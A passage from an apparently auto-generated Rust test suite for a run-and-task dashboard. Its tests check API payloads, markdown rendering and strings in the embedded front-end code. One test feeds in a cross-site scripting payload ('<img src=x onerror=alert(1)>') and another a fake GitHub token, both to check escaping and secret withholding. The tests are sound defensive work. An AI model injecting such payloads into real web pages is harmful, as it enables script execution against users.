19494            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19495        ]);
19496        v_empty["deliberation"] = serde_json::json!([]);
19497        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19498
19499        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19500        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19501        let j_empty = res_empty.json();
19502        let judging_empty = j_empty["sections"]
19503            .as_array()
19504            .unwrap()
19505            .iter()
19506            .find(|s| s["kind"] == "judging")
19507            .expect("judging section exists");
19508        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19509    }
19510
19511    #[tokio::test]
19512    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19513        let f = Fixture::start().await;
19514
19515        let html = f.get("/").await;
19516        let css = f.get("/app.css").await;
19517        let js = f.get("/app.js").await;
19518
19519        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19520        assert!(
19521            html.headers
19522                .contains("content-type: text/html; charset=utf-8")
19523        );
19524        assert!(css.headers.contains("content-type: text/css"));
19525        assert!(js.headers.contains("content-type: text/javascript"));
19526        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19527    }
19528
19529    #[test]
19530    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19531        let body = |name: &str| {
19532            let at = APP_JS
19533                .find(name)
19534                .unwrap_or_else(|| panic!("{name} missing"));
19535            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19536        };
19537        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19538        let note = body("function landRoundNote");
19539        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19540        assert!(note.contains("Land round ${round}"));
19541        let land = body("function renderLand");
19542        let note_at = land
19543            .find("landRoundNote(pr)")
19544            .expect("renderLand uses the note");
19545        assert!(
19546            note_at
19547                < land
19548                    .find("roundRail(pr)")
19549                    .expect("renderLand uses the rail")
19550        );
19551    }
19552
19553    #[test]
19554    fn the_runs_page_redesign_keeps_its_guards() {
19555        let body = |name: &str| {
19556            let at = APP_JS
19557                .find(name)
19558                .unwrap_or_else(|| panic!("{name} missing"));
19559            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19560        };
19561        // A null child must never reach the native append (it prints "null").
19562        let land = body("function renderLand");
19563        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19564        assert!(
19565            !land.contains("box.append("),
19566            "renderLand must use append()"
19567        );
19568        assert!(land.contains("append(box, ["));
19569        // Tabs are hash routes; the run id alone decides a reload.
19570        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19571        assert!(
19572            body("function applyRoute")
19573                .contains("route.name !== state.route.name || route.id !== state.route.id")
19574        );
19575        // The decorative diagram is gone, the strip and its guards stay.
19576        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19577        assert!(!INDEX_HTML.contains("advise-converge"));
19578        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19579        assert!(APP_JS.contains("provisional"));
19580        for id in [
19581            "run-tab-overview",
19582            "run-tab-timeline",
19583            "run-tab-report",
19584            "run-report",
19585            "runs-scope",
19586        ] {
19587            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19588        }
19589        assert!(!INDEX_HTML.contains("runs-tree"));
19590        assert!(!INDEX_HTML.contains("run-raw-panel"));
19591        // Fold still says it cannot be resumed.
19592        assert!(APP_JS.contains("resume"));
19593        // The unreadable-runs count stays on the page.
19594        assert!(APP_JS.contains("unreadable"));
19595    }
19596
19597    #[test]
19598    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19599        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19600        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19601        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19602        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19603        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19604        // The subtitle still counts them whatever the banner does.
19605        assert!(APP_JS.contains("unreadable` : null"));
19606    }
19607
19608    #[test]
19609    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19610        let mut state = RunState::new(
19611            "/repo".into(),
19612            "main".into(),
19613            "abc".into(),
19614            "task".into(),
19615            crate::config::Config::default(),
19616        );
19617        state.status = RunStatus::Blocked;
19618        state.gate_ran = true;
19619        state.gate.push(crate::run::CommandOutcome {
19620            command: "cargo make check".into(),
19621            code: Some(1),
19622            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19623            duration_ms: 0,
19624            resource_blocked: false,
19625        });
19626        let view = RunDetailView::of(
19627            state,
19628            false,
19629            crate::run::Liveness::Unknown,
19630            None,
19631            None,
19632            None,
19633        );
19634        let value = serde_json::to_value(view).unwrap();
19635        assert_eq!(
19636            value["stop_reason"],
19637            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19638        );
19639    }
19640
19641    #[test]
19642    fn the_run_detail_payload_says_whether_the_run_is_done() {
19643        // `landView` reads `run.done`; the detail response must carry it.
19644        for (status, done) in [
19645            (RunStatus::Superseded, true),
19646            (RunStatus::Blocked, true),
19647            (RunStatus::Landing, false),
19648        ] {
19649            let mut state = RunState::new(
19650                std::path::PathBuf::from("/repo"),
19651                "main".to_owned(),
19652                "abc".to_owned(),
19653                "x".to_owned(),
19654                crate::config::Config::default(),
19655            );
19656            state.status = status;
19657            let v = serde_json::to_value(RunDetailView::of(
19658                state,
19659                false,
19660                crate::run::Liveness::Unknown,
19661                None,
19662                None,
19663                None,
19664            ))
19665            .unwrap();
19666            assert_eq!(v["done"], done, "{status:?}");
19667        }
19668    }
19669
19670    /// The first node of a markdown block holds a `strong` somewhere.
19671    fn has_strong(nodes: &[md::Node]) -> bool {
19672        serde_json::to_string(nodes).unwrap().contains("strong")
19673    }
19674
19675    #[test]
19676    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19677        let mut state = RunState::new(
19678            std::path::PathBuf::from("/repo"),
19679            "main".to_owned(),
19680            "abc".to_owned(),
19681            "x".to_owned(),
19682            crate::config::Config::default(),
19683        );
19684        let proposal = |approach: &str| {
19685            serde_json::json!({
19686                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19687            })
19688        };
19689        state.advice = Some(
19690            serde_json::from_value(serde_json::json!({
19691                "records": [
19692                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19693                     "proposal": proposal("do **this**")},
19694                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19695                ],
19696                "synthesis": "- one\n- **two**\n\n`code`",
19697            }))
19698            .unwrap(),
19699        );
19700        state.candidates = serde_json::from_value(serde_json::json!([
19701            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19702             "summary": "did **it**"},
19703            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19704        ]))
19705        .unwrap();
19706        // Recorded in ascending severity, the reverse of how the page sorts
19707        // them: the arrays must follow the record, not the display.
19708        state.reviews = serde_json::from_value(serde_json::json!([{
19709            "round": 1, "head": "h",
19710            "reviews": [{
19711                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19712                "findings": [
19713                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
19714                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19715                ],
19716            }],
19717            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19718            "fix": {"agent": "a", "notes": "fixed **it**",
19719                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19720        }, {"round": 2, "head": "h2", "reviews": []}]))
19721        .unwrap();
19722
19723        let v = serde_json::to_value(RunDetailView::of(
19724            state,
19725            false,
19726            crate::run::Liveness::Unknown,
19727            None,
19728            None,
19729            None,
19730        ))
19731        .unwrap();
19732
19733        let strong = |p: &str| {
19734            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19735            assert!(n.to_string().contains("strong"), "{p}: {n}");
19736        };
19737        strong("/advice_md/synthesis");
19738        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19739        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19740        strong("/advice_md/approaches/0");
19741        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19742        strong("/candidate_summaries_md/0");
19743        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19744        strong("/reviews_md/0/reviewers/0/summary");
19745        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19746        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19747        assert!(f[1].to_string().contains("strong"));
19748        strong("/reviews_md/0/reconsideration/0");
19749        strong("/reviews_md/0/fix/notes");
19750        strong("/reviews_md/0/fix/rejected/0");
19751        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19752        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19753        // The raw strings stay, and no schema moved.
19754        assert_eq!(v["candidates"][0]["summary"], "did **it**");
19755        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19756    }
19757
19758    #[test]
19759    fn a_run_without_advice_has_no_advice_md() {
19760        let state = RunState::new(
19761            std::path::PathBuf::from("/repo"),
19762            "main".to_owned(),
19763            "abc".to_owned(),
19764            "x".to_owned(),
19765            crate::config::Config::default(),
19766        );
19767        let p = run_prose_md(&state);
19768        assert!(p.advice_md.is_none());
19769        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19770    }
19771
19772    #[test]
19773    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19774        let store = ask::Questions::at(PathBuf::from("unused"));
19775        let gt = crate::github_text::Withheld {
19776            title: false,
19777            body: true,
19778            categories: vec!["sensitive-data".into()],
19779        };
19780        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19781        let (detail, comparison) =
19782            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19783        let mut q = Question::new(
19784            "r".into(),
19785            "github-text".into(),
19786            "posting-gate".into(),
19787            "s".into(),
19788            detail,
19789            Vec::new(),
19790        );
19791        assert!(
19792            QuestionView::of(q.clone(), &store, None)
19793                .posting_view
19794                .is_none()
19795        );
19796        q.posting_comparison = Some(comparison);
19797        let view = QuestionView::of(q.clone(), &store, None);
19798        let field = &view.posting_view.unwrap().fields[0];
19799        assert_eq!(
19800            field
19801                .original
19802                .iter()
19803                .map(|f| f.text.as_str())
19804                .collect::<String>(),
19805            body
19806        );
19807        assert!(field.original[0].text.starts_with("<img"));
19808        let original_question: Question =
19809            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19810        assert_eq!(original_question, q);
19811        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19812            .original
19813            .start = 1;
19814        assert!(
19815            QuestionView::of(q.clone(), &store, None)
19816                .posting_view
19817                .is_none()
19818        );
19819        q.posting_comparison = original_question.posting_comparison;
19820        q.detail.push_str("extra context");
19821        assert!(
19822            QuestionView::of(q.clone(), &store, None)
19823                .posting_view
19824                .is_some()
19825        );
19826        q.detail.insert(0, 'x');
19827        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19828    }
19829
19830    #[test]
19831    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19832        let store = ask::Questions::at(PathBuf::from("unused"));
19833        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19834        let gt = crate::github_text::Withheld::from_check(
19835            &crate::github_text::check("fix: x", body),
19836            "fix: x",
19837            body,
19838        )
19839        .unwrap();
19840        let (detail, comparison) =
19841            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19842        let mut q = Question::new(
19843            "r".into(),
19844            "github-text".into(),
19845            "posting-gate".into(),
19846            "s".into(),
19847            detail,
19848            Vec::new(),
19849        );
19850        q.posting_comparison = Some(comparison);
19851        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19852        let field = &value["posting_view"]["fields"][0];
19853        let group = &field["replacement_group"];
19854        let triggers = group["triggers"].as_array().unwrap();
19855        assert_eq!(triggers.len(), 2);
19856        assert_ne!(triggers[0], triggers[1]);
19857        for id in triggers {
19858            assert!(
19859                field["original"]
19860                    .as_array()
19861                    .unwrap()
19862                    .iter()
19863                    .any(|f| &f["pair"] == id)
19864            );
19865            assert!(
19866                !field["changed"]
19867                    .as_array()
19868                    .unwrap()
19869                    .iter()
19870                    .any(|f| &f["pair"] == id)
19871            );
19872        }
19873        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19874            group["id"].as_u64().unwrap() as usize;
19875        assert!(
19876            QuestionView::of(q, &store, None).posting_view.is_none(),
19877            "group and trigger IDs cannot collide"
19878        );
19879    }
19880
19881    #[test]
19882    fn a_question_view_carries_markdown_for_each_thread_turn() {
19883        let home = TempDir::new().unwrap();
19884        let store = ask::Questions::at(home.path().join("questions"));
19885        let mut q = Question::new(
19886            "run".to_owned(),
19887            "implement".to_owned(),
19888            "impl-A".to_owned(),
19889            "which?".to_owned(),
19890            String::new(),
19891            Vec::new(),
19892        );
19893        q.say("plain words").unwrap();
19894        q.reply("use **this**", Vec::new()).unwrap();
19895        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19896        let bodies = &v["thread_bodies_md"];
19897        assert_eq!(bodies.as_array().unwrap().len(), 2);
19898        assert!(!bodies[0].to_string().contains("strong"));
19899        assert!(bodies[1].to_string().contains("strong"));
19900    }
19901
19902    #[test]
19903    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19904        let home = TempDir::new().unwrap();
19905        let store = ask::Questions::at(home.path().join("questions"));
19906        let mut q = Question::new(
19907            "run".to_owned(),
19908            "conduct".to_owned(),
19909            "conduct".to_owned(),
19910            "which?".to_owned(),
19911            String::new(),
19912            Vec::new(),
19913        );
19914        q.say("plain words").unwrap();
19915        q.thread.push(ask::Turn {
19916            who: ask::Who::Agent,
19917            body: "Settled as `merge`".to_owned(),
19918            at: jiff::Timestamp::now(),
19919            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19920        });
19921        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19922        let notes = &v["thread_notes_md"];
19923        assert_eq!(notes.as_array().unwrap().len(), 2);
19924        assert!(notes[0].is_null());
19925        let text = notes[1].to_string();
19926        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19927        assert!(APP_JS.contains("ask-turn-note"));
19928    }
19929
19930    #[test]
19931    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19932        // The land panel defers to `run.status` for merged, and labels a
19933        // recorded-open PR on any finished run (superseded, blocked, ...) as
19934        // last seen, never as live state.
19935        assert!(APP_JS.contains("function landView(run, raw) {"));
19936        assert!(
19937            APP_JS.contains(
19938                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19939            )
19940        );
19941        assert!(APP_JS.contains("const pr = landView(run, raw);"));
19942        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19943        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19944        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19945    }
19946
19947    #[test]
19948    fn live_runs_are_never_hidden_or_folded_as_superseded() {
19949        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
19950        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19951        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19952        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19953    }
19954
19955    #[test]
19956    fn review_rounds_label_a_distinct_verified_head() {
19957        assert!(APP_JS.contains("round.verified_head"));
19958        assert!(APP_JS.contains("verified HEAD"));
19959        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19960    }
19961
19962    #[test]
19963    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19964        // A blocked task's chip and note must not fall back to a queued-like
19965        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
19966        // itself by e11fc58 but never checked here.
19967        assert!(APP_JS.contains("blocked: { glyph:"));
19968        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19969
19970        // `blocked_by` mixes task ids and question ids in the same list, and
19971        // the client can only tell them apart by checking each id against
19972        // what it actually knows - never by guessing from the id's shape.
19973        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19974        assert!(
19975            APP_JS.contains(
19976                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19977            ),
19978            "the note line must name what a blocked task is waiting on, not just that it is blocked"
19979        );
19980        // The classification must key off `status_str`, never off `blocked_by`
19981        // or `block_reason` merely being present - both can survive briefly
19982        // on a task a hold or a dead daemon just moved off `blocked`.
19983        assert!(APP_JS.contains("if (status === \"blocked\") {"));
19984
19985        // A question a task is blocked on gets its own node in the same
19986        // dependency graph, not just a task-shaped node with nothing known
19987        // about it.
19988        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19989        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19990        assert!(
19991            APP_JS.contains("location.hash = \"#/questions\";"),
19992            "a question node must jump to the Questions screen, not pretend to be a task"
19993        );
19994
19995        // `Task::answers` - decisions already made - are shown as a record on
19996        // the card, the same disclosure style as the full instruction.
19997        assert!(APP_JS.contains("Resolved questions"));
19998        assert!(APP_JS.contains("r.answersList.append("));
19999        assert!(APP_CSS.contains(".task-answers"));
20000        {
20001            let start = APP_JS
20002                .find("function updateTalkTaskRow")
20003                .expect("updateTalkTaskRow");
20004            let body = &APP_JS[start..];
20005            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20006            assert!(
20007                body.contains(
20008                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20009                ),
20010                "a chat-filed task row must link to the task page"
20011            );
20012            assert!(
20013                !body.contains("#/runs/") && !body.contains("#/queue/"),
20014                "the row must not branch to a run or the queue card"
20015            );
20016            assert!(APP_CSS.contains(".talk-task-link"));
20017        }
20018    }
20019
20020    #[test]
20021    fn a_task_notification_links_to_the_task_page() {
20022        // A task notice opens the task detail page, not the Backlog card.
20023        let start = APP_JS
20024            .find("function noticeLink(")
20025            .expect("noticeLink exists");
20026        let body = &APP_JS[start..];
20027        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20028        assert!(
20029            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20030            "a task notice's link must target the task page"
20031        );
20032        assert!(
20033            !body.contains("#/queue/"),
20034            "regression: the task link must not go back to the Backlog route"
20035        );
20036        assert!(
20037            APP_JS.contains(
20038                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20039            ),
20040            "`#/tasks/<id>` must parse into the task route"
20041        );
20042
20043        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20044        assert!(
20045            APP_JS.contains(
20046                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20047            ),
20048            "`#/queue/<id>` must parse into a route carrying that id"
20049        );
20050
20051        // And the Backlog view has to actually land on the card once it can
20052        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20053        // so a focus set before the queue has loaded is retried once it has.
20054        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20055        assert!(APP_JS.contains("function consumeQueueFocus()"));
20056        assert!(APP_JS.contains("jumpToTask(id)"));
20057    }
20058
20059    #[test]
20060    fn notifications_distinguish_actionable_questions_from_informational_notices() {
20061        let start = APP_JS
20062            .find("function noticeCoveredBy(")
20063            .expect("noticeCoveredBy exists");
20064        let body = &APP_JS[start..];
20065        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20066
20067        // Historical associations are informational, even for open questions.
20068        assert!(body.contains("Associated question ${short}"));
20069        assert!(!body.contains("el(\"a\""));
20070
20071        // A resolved question displays status rather than an actionable link
20072        assert!(body.contains("(resolved)"));
20073        assert!(body.contains("(closed)"));
20074
20075        let start = APP_JS
20076            .find("function renderNotifications()")
20077            .expect("renderNotifications exists");
20078        let body = &APP_JS[start..];
20079        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20080
20081        // Only a server-resolved answerable question supplies a response link.
20082        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20083        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20084        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20085        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20086    }
20087
20088    /// Chat rows are two lines at every width: the title alone, then the
20089    /// shrinkable secondary info.
20090    #[test]
20091    fn chat_rows_put_the_title_alone_on_the_first_line() {
20092        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20093        assert!(APP_CSS.contains(
20094            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20095        ));
20096        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20097        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20098    }
20099
20100    #[test]
20101    fn run_rows_put_the_title_alone_on_the_first_line() {
20102        assert!(
20103            APP_CSS.contains(
20104                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20105            )
20106        );
20107        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20108        assert!(APP_JS.contains("class: \"card run-card\""));
20109        assert!(APP_JS.contains("class: \"repo run-id\""));
20110    }
20111
20112    /// Wide screens get a master/detail layout built from the views a phone
20113    /// drills into. These are string assertions: they pin the contract between
20114    /// the three assets, not how it looks.
20115    #[test]
20116    fn wide_screens_show_list_and_preview_side_by_side() {
20117        // One breakpoint, spelled the same in the script and the stylesheet.
20118        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20119        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20120        assert!(APP_CSS.contains("main[data-split]"));
20121        assert!(APP_CSS.contains("body[data-split]"));
20122
20123        // The route -> panes table, and a narrow screen opting out of it.
20124        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20125        assert!(
20126            APP_JS.contains(
20127                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20128            )
20129        );
20130        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20131        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20132        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20133
20134        // Selection is derived from the route, and only ever paints a row.
20135        assert!(APP_JS.contains("function markSelected() {"));
20136        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20137        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20138        // The dense row must override the stacked card the 720px block sets up.
20139        assert!(
20140            APP_CSS.contains(
20141                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20142            )
20143        );
20144
20145        // Independent scrolling: the page stops scrolling, each pane does.
20146        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20147        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20148        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20149        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20150
20151        // A refresh must never navigate: the loaders still check that their
20152        // subject is the one on screen, and crossing the breakpoint only
20153        // re-reads the hash.
20154        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20155        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20156        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20157        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20158
20159        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20160        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20161    }
20162
20163    #[test]
20164    fn panel_sandbox_carries_exactly_popups() {
20165        let needle = "sandbox: \"";
20166        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20167        assert_eq!(
20168            matches.len(),
20169            1,
20170            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20171        );
20172        let start = matches[0].0 + needle.len();
20173        let end = APP_JS[start..]
20174            .find('"')
20175            .expect("sandbox attribute value must be terminated by a closing quote");
20176        let val = &APP_JS[start..start + end];
20177        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20178        let expected: std::collections::BTreeSet<&str> =
20179            ["allow-popups", "allow-popups-to-escape-sandbox"]
20180                .into_iter()
20181                .collect();
20182        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20183        assert!(
20184            !tokens.contains("allow-scripts"),
20185            "allow-scripts must never be present in sandbox"
20186        );
20187        assert!(
20188            !tokens.contains("allow-same-origin"),
20189            "allow-same-origin must never be present in sandbox"
20190        );
20191    }
20192
20193    #[test]
20194    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20195        // consumeQueueFocus() clears an active Backlog search before it can
20196        // scroll to the target card (the sections list is hidden while a
20197        // search is showing), by recursing back into renderQueue(). The
20198        // fixer's first cut nulled state.queueFocus before that recursive
20199        // call, so the second pass saw nothing to jump to and the jump was
20200        // silently dropped whenever a notification's link was opened with a
20201        // stale search still active. state.queueFocus must only be cleared
20202        // right before jumpToTask() actually runs.
20203        assert!(
20204            APP_JS.contains(
20205                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20206            ),
20207            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20208             recursive renderQueue() call has nothing left to jump to"
20209        );
20210        assert!(
20211            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20212            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20213             arrives later still gets it"
20214        );
20215        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20216        assert!(APP_JS.contains("is not in the current Backlog."));
20217        assert!(APP_JS.contains("li.card[data-task-id=\""));
20218        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20219        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20220        assert!(APP_CSS.contains(".card-permalink"));
20221        assert!(APP_CSS.contains(".queue-focus-status"));
20222        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20223    }
20224
20225    #[test]
20226    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20227        // The task's own repro: only the link text inside .notice-meta was
20228        // clickable, so a tap on the message, the timestamp, or the card's
20229        // padding did nothing - on a phone that reads as "the card doesn't
20230        // work" even though the tiny link inside it did. Mark read / Dismiss
20231        // must keep working independently of this: `.closest("a, button")`
20232        // is what lets a tap that actually lands on those elements fall
20233        // through instead of being hijacked into a navigation.
20234        assert!(
20235            APP_JS.contains(
20236                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20237            ),
20238            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20239        );
20240    }
20241
20242    #[test]
20243    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20244        assert!(
20245            APP_JS.contains("round.verified_head !== round.head"),
20246            "a round that verified an earlier commit must be visibly distinct from one that \
20247             verified the head reviewers are looking at now"
20248        );
20249        assert!(
20250            APP_JS.contains("round.verified_at"),
20251            "when a check ran must be on the wire, not just which commit"
20252        );
20253        assert!(
20254            APP_JS.contains("resource_blocked"),
20255            "a command magi never got to run (shared build cache contention) must not render \
20256             the same as a command that ran and failed"
20257        );
20258    }
20259
20260    #[test]
20261    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20262        // Every KPI tile but Total runs and Completion names an exact
20263        // RunStatus and hands it to openRunsFiltered(), which is what wires
20264        // the click into state.runsFilter.status (matchesFilter's own
20265        // status check) rather than the coarser runsStateFilter chips. Each
20266        // status literal here must be one of the strings runSection() (and
20267        // isStale()) actually compare a run's own `status` field against -
20268        // a status this dashboard invented would filter to nothing.
20269        assert!(
20270            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20271            "every KPI tile built through statusTile() must route its click through \
20272             openRunsFiltered, the single place that sets the Runs filter"
20273        );
20274        for (label, status) in [
20275            ("Merged", "merged"),
20276            ("Ready", "ready"),
20277            ("Blocked", "blocked"),
20278            ("Stalled", "stalled"),
20279        ] {
20280            let call = format!("statusTile(\"{label}\", t.{status}, ");
20281            assert!(
20282                APP_JS.contains(&call),
20283                "expected the {label} KPI tile built via {call}..."
20284            );
20285            assert!(
20286                APP_JS.contains(&format!("status === \"{status}\"")),
20287                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20288                 compare a run against, not one invented only for the stats tile"
20289            );
20290        }
20291        assert!(
20292            APP_JS.contains("function openRunsFiltered(status)"),
20293            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20294        );
20295        assert!(
20296            APP_JS.contains(
20297                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20298            ),
20299            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20300        );
20301        // applyRoute() only flips which view is visible for a plain `#runs`
20302        // hash - it does not itself redraw the list (see applyRoute's own
